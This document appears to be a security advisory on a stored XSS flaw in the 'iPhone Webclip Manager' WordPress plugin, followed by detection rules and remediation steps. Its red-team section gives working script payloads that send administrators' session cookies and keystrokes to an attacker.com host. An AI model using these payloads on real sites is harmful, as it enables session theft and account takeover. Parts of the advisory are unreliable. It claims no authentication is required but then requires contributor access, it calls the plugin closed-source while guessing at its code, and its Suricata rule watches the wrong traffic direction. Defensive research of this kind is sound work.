CVE-2024-53735

Executive Summary

CVE-2024-53735 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "iPhone Webclip Manager" by corourke, affecting all versions up to and including 0.5. The plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code that is stored on the server and executed in the browsers of other users. This can lead to session hijacking, credential theft, and defacement. The vulnerability is classified as CWE-79 and carries a CVSS score of 7.1 (High). No public exploit code or patch is currently available, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is elevated because:

• The plugin is no longer maintained, and no patch exists.
• Users who installed the plugin via the WordPress dashboard may not receive automatic updates.
• The plugin's codebase is closed-source, making independent verification difficult.
• An attacker could compromise the plugin's update channel if the vendor's account is compromised.

CVSS Breakdown & Threat Level

Threat Level: High. The vulnerability requires no authentication and only minimal user interaction (e.g., viewing a page). Successful exploitation can lead to full account takeover for WordPress administrators.

Deep Dive & Mechanics

The vulnerability resides in the plugin's handling of user-submitted data, likely in the "Webclip" creation or management interface. The plugin does not sanitize or escape input before storing it in the WordPress database and later rendering it on the page. An attacker with contributor-level access (or higher) can inject malicious JavaScript into fields such as the "Webclip Name" or "URL" parameters. When an administrator or other user views the Webclip list, the injected script executes in their browser context.

Attack Flow:

1. Attacker logs in with a contributor account (or exploits another vector to submit data).
2. Attacker creates a new Webclip with a payload like <script>alert(document.cookie)</script> in the name field.
3. The payload is stored in the wp_postmeta table.
4. When an admin visits the Webclip management page, the plugin renders the stored payload without sanitization.
5. The script executes, stealing the admin's session cookie or performing actions on their behalf.

Vulnerable vs. Patched Code

Since no patch exists, we can only analyze the vulnerable code pattern. The vulnerable plugin likely uses echo or the_content filter without escaping.

Vulnerable Code (hypothetical):

// In iphone-webclip-manager.php
function display_webclip($clip) {
    echo "<div class='webclip-name'>" . $clip->name . "</div>";
}

Patched Code (recommended):

function display_webclip($clip) {
    echo "<div class='webclip-name'>" . esc_html($clip->name) . "</div>";
}

The fix uses esc_html() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the plugin installed (version <= 0.5).
• A user account with at least "Contributor" role.

Exploit Steps:

1. Log in to WordPress as a contributor.
2. Navigate to the "Webclip Manager" page.
3. Create a new Webclip with the following payload in the "Name" field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the Webclip.
5. Send a link to the Webclip management page to an administrator.
6. When the admin views the page, the script executes and exfiltrates their session cookie.

Alternative Payload (for keylogging):

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
}
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php or /wp-admin/post.php containing script tags.
• Look for Webclip entries with HTML/JavaScript in the name or description fields.
• Use the Sigma rule below to detect the attack in web server logs.

Hardening:

• Immediately disable or uninstall the plugin.
• If removal is not possible, apply a virtual patch using a WAF (e.g., ModSecurity rule to block <script> tags in POST data to plugin endpoints).
• Restrict contributor roles from creating Webclips via custom capabilities.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Plugin directory: /wp-content/plugins/iphone-webclip-manager/
• Suspicious entries in wp_postmeta with meta_key containing webclip and meta_value containing <script> tags.

Network IOCs:

• Outbound HTTP requests to unknown domains from the WordPress server.
• POST requests to /wp-admin/admin-ajax.php with action=webclip_save and payloads containing %3Cscript%3E.

Log IOCs:

• Web server logs showing POST /wp-admin/admin-ajax.php with action=webclip_save and name=<script>.
• WordPress debug logs showing wpdb::insert with suspicious meta_value.

Detection Engineering

YARA Rule

rule CVE_2024_53735_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress iphone-webclip-manager plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53735"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $payload3 = /onload\s*=\s*["']?[^"']*["']?/i
        $plugin_path = "iphone-webclip-manager"
    condition:
        any of ($payload*) and $plugin_path
}

Sigma Rule

title: CVE-2024-53735 - Stored XSS in iPhone Webclip Manager
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in WordPress iphone-webclip-manager plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=webclip_save'
        cs-request-body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in Webclip names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-53735 - Stored XSS in iPhone Webclip Manager";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=webclip_save"; http_client_body;
    content:"<script"; http_client_body;
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin via WordPress admin or by renaming the plugin folder via FTP/SSH.
2. Scan the database for stored XSS payloads using the YARA rule above.
3. Rotate all admin passwords and session tokens.

Long-Term Fix:

• Since the vendor is unresponsive, the only permanent fix is to remove the plugin and find an alternative solution for managing iPhone Webclips.
• If the plugin is critical, consider forking the code and applying the patch manually (add esc_html() to all output functions).

Virtual Patching (WAF):

• Add a ModSecurity rule to block POST requests containing <script in the name or description parameters:

  SecRule REQUEST_BODY "@contains <script" "id:10000001,phase:2,deny,status:403,msg:'CVE-2024-53735 XSS blocked'"
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert